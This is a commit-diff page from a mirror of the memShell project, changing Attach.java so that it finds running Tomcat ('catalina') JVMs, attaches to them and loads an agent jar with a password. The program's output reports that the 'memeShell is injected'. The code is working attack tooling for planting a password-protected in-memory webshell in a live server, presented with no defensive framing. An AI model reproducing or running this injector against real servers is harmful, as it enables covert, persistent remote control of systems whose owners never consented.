mirror of
https://github.com/rebeyond/memShell
synced 2026-06-08 17:04:52 +00:00
change jvm finder loigc,fix some bugs
This commit is contained in:
@@ -1,6 +1,10 @@
|
||||
package net.rebeyond.memshell;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
import java.util.Map.Entry;
|
||||
import java.util.Properties;
|
||||
|
||||
import com.sun.tools.attach.VirtualMachine;
|
||||
import com.sun.tools.attach.VirtualMachineDescriptor;
|
||||
@@ -9,51 +13,45 @@ public class Attach {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length!=1)
|
||||
{
|
||||
if (args.length != 1) {
|
||||
System.out.println("Usage:java -jar inject.jar password");
|
||||
return;
|
||||
}
|
||||
VirtualMachine vm = null;
|
||||
List<VirtualMachineDescriptor> listAfter = null;
|
||||
List<VirtualMachineDescriptor> listBefore = null;
|
||||
listBefore = VirtualMachine.list();
|
||||
String password=args[0];
|
||||
List<VirtualMachineDescriptor> vmList = null;
|
||||
String password = args[0];
|
||||
String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();
|
||||
currentPath=currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
|
||||
currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
|
||||
String agentFile = currentPath + "agent.jar";
|
||||
agentFile = new File(agentFile).getCanonicalPath();
|
||||
String agentArgs=currentPath;
|
||||
if (!password.equals("")||password!=null)
|
||||
{
|
||||
agentArgs=agentArgs+"^"+password;
|
||||
String agentArgs = currentPath;
|
||||
if (!password.equals("") || password != null) {
|
||||
agentArgs = agentArgs + "^" + password;
|
||||
}
|
||||
|
||||
|
||||
while (true) {
|
||||
try {
|
||||
listAfter = VirtualMachine.list();
|
||||
if (listAfter.size() <= 0)
|
||||
vmList = VirtualMachine.list();
|
||||
if (vmList.size() <= 0)
|
||||
continue;
|
||||
for (VirtualMachineDescriptor vmd : listAfter) {
|
||||
if (!listBefore.contains(vmd)) {
|
||||
for (VirtualMachineDescriptor vmd : vmList) {
|
||||
if (vmd.displayName().indexOf("catalina") >= 0) {
|
||||
vm = VirtualMachine.attach(vmd);
|
||||
listBefore.add(vmd);
|
||||
System.out.println("[+]OK.i find a jvm.");
|
||||
Thread.sleep(1000);
|
||||
if (null != vm) {
|
||||
if (null != vm) {
|
||||
vm.loadAgent(agentFile, agentArgs);
|
||||
System.out.println("[+]memeShell is injected.");
|
||||
vm.detach();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
Thread.sleep(5000);
|
||||
|
||||
Thread.sleep(3000);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user